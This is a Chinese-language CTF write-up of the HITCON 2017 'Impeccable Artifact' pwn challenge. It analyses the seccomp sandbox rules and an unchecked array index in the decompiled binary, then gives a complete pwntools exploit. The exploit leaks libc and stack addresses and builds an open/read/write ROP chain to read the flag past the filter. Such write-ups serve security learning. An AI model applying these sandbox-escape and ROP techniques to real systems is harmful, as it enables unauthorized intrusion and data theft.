CTF-PWN-沙箱逃脱-【seccomp和prtcl-2】

沙箱逃脱prtcl题

HITCON CTF 2017 Quals Impeccable Artifact

flag文件

此时的flag文件在本文件夹建一个即可

此时的我设置的flag为

对应prctl函数

第一条是禁止特权
第二条是按定义的BPF来建立沙箱

检查

保护全开

查看沙箱规则

就是首先查看架构，如果不是ARCH_X86_64，就禁止该系统调用，然后获取该系统调用的第二个参数，并复制给X，然后获得系统调用号，接着检查系统调用号是否和read write fstat lseek 一样，一样的话允许执行。都不一样就看是否和mmap一样，如果一样就检查系统调用的第二个参数是否是奇数，如果是则禁止如果不是则允许，如果系统调用号和mmap不一样，就看是否和mprotect一样，如果一样依然检查系统调用的第二个参数是否是奇数，如果是则禁止如果不是则允许。如果系统调用号和mprotect不一样，就检查看系统调用号是否和系统调用的第二个参数一样，一样则允许该系统调用，否则看系统调用号再是否和brk exit exit_group相等，相同则允许，都不同那么将禁止该系统调用

源码

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 *v3; // rdx
  const char *v4; // rdi
  int v6; // [rsp+8h] [rbp-658h] BYREF
  int v7; // [rsp+Ch] [rbp-654h] BYREF
  __int64 v8[200]; // [rsp+10h] [rbp-650h] BYREF
  _QWORD v9[2]; // [rsp+650h] [rbp-10h] BYREF

  v9[1] = __readfsqword(0x28u);
  sub_9F0(a1, a2, a3);
  v3 = v8;
  memset(v8, 0, sizeof(v8));
  v4 = (const char *)v9;
  while ( 1 )
  {
    sub_A29(v4, a2, v3);
    v7 = 0;
    _isoc99_scanf("%d", &v6);
    if ( v6 != 1 && v6 != 2 )
      break;
    puts("Idx?");
    _isoc99_scanf("%d", &v7);
    if ( v6 == 1 )
    {
      a2 = (char **)v8[v7];
      v4 = "Here it is: %lld\n";
      printf("Here it is: %lld\n", a2);
    }
    else
    {
      puts("Give me your number:");
      a2 = (char **)&v8[v7];
      v4 = "%lld";
      _isoc99_scanf("%lld", a2);
    }
  }
  return 0LL;
}

即输入一个位置，然后可以往这个位置写数据，或者显示这个数据，输入位置没有检查，可以任意读和任意写

思路

注意数组和var_8中级还有八个字节，var_8对应的索引为201

首先利用main函数结尾ret指令为返回到libc_start_main+241的位置可以利用show越界显示这个地址，对应数组的索引是203.从而泄露libc基地址，然后得到各种gadget的地址

由于我们的目标是读到flag文件的内容，所以需要open函数，然后read，再write，系统调用open函数需满足rdx=rax即可成功调用
由于需要先将文件内容读到内存里再通过write输出，所以还需知道内存的某段位置，此时发现栈上存在栈的地址，对应数组索引为205将该栈地址与返回地址相减得到0xE0，所以对应的索引就是231


直到通过该得到的栈地址-231*8可得到数组的起始地址，然后输入open的第一个参数在此位置即./flag，注意此时由于函数此时是整数输入，输入的字节会逆序排放到内存中，而调用open时是字符串参数，会从低地址到高地址一个一个转换，所以此时我们需要逆序输入./flag的字节即按galf/.字节输入

接下来就构造ROP链即可，首先是open(数组的初始地址，0，2) rax=2，此时构造的rdx不会对函数有影响，只是使得第二个参数和rax的值一样得以成功调用系统调用。

然后是read(之前open的返回值即rax的值，栈上的一段空间地址，输入写入长度) rax=0，此时得先将rax的值给rdi，然后再将rax赋值为0。
此时找不到mov rdi，rax； ret；所有gadget后面都有个跳转，此时需要控制跳转的位置最终还能回到ROP链上来，那么得提前控制rcx，如果rcx是一个pop ；ret的gadget位置，那么还能回到原来mov rdi， rax； call rcx的下一个gadget（因为此时call会往栈压入一个返回地址，pop后，ret正好能回到mov rdi， rax； call rcx的下一个gadget的位置），此时得提前准备好一个pop ；ret的gadget的地址在栈上，然后先pop rcx；ret，使得rcx是pop ；ret的gadget的地址。其他两个参数比较好控制

最后write(1,read输入的那段地址，输出长度)rax=1 此时只需修改rax和rdi即可，rsi和rdx不要变（和read的rsi和rdx一样），最后输出flag

exp

#!/usr/bin/env python

from pwn import *



r = process("./artifact")

gdb.attach(r,"b main")
def menu():
    r.recvuntil('?\n')

def cmd(num):
    r.sendline(str(num))

def show(num):
    cmd(1)
    r.sendline(str(num))
    r.recvuntil("Here it is: ")
    ret = r.recvline()[:-1]
    menu()
    return ret

def memo(num, inp):
    cmd(2)
    r.sendline(str(num))
    r.recvuntil('Give me your number:\n')
    r.sendline(str(inp))
    menu()

def end():
    cmd(3)



menu()

# leak libc adress
libc = int(show(203)) - 241 - 0x20300
print ('libc:', hex(libc))


# stack address index: 231
stack = int(show(205))
print ('stack:', hex(stack))

pop_rax = libc + 0x3a998
pop_rdi = libc + 0x1fd7a
pop_rsi = libc + 0x1fcbd
pop_rdx = libc + 0x1b92
pop_rcx = libc + 0x1a97b8
mov_rdi_rax_call_rcx = libc + 0x89ae9
syscall = libc + 0xbc765

# ./flag

memo(0, 0x67616c662f2e)


# open
memo(203, pop_rdi)
memo(204, stack - 231*8)
memo(205, pop_rsi)
memo(206, 0)
memo(207, pop_rdx)
memo(208, 2)
memo(209, pop_rax)
memo(210, 2)
memo(211, syscall)

# read
memo(212, pop_rcx)
memo(213, pop_rax)
memo(214, mov_rdi_rax_call_rcx)
memo(215, pop_rax)
memo(216, 0)
memo(217, pop_rsi)
memo(218, stack - 80*8)
memo(219, pop_rdx)
memo(220, 100)
memo(221, syscall)

# write
memo(222, pop_rax)
memo(223, 1)
memo(224, pop_rdi)
memo(225, 1)
memo(226, syscall)

end()

r.interactive()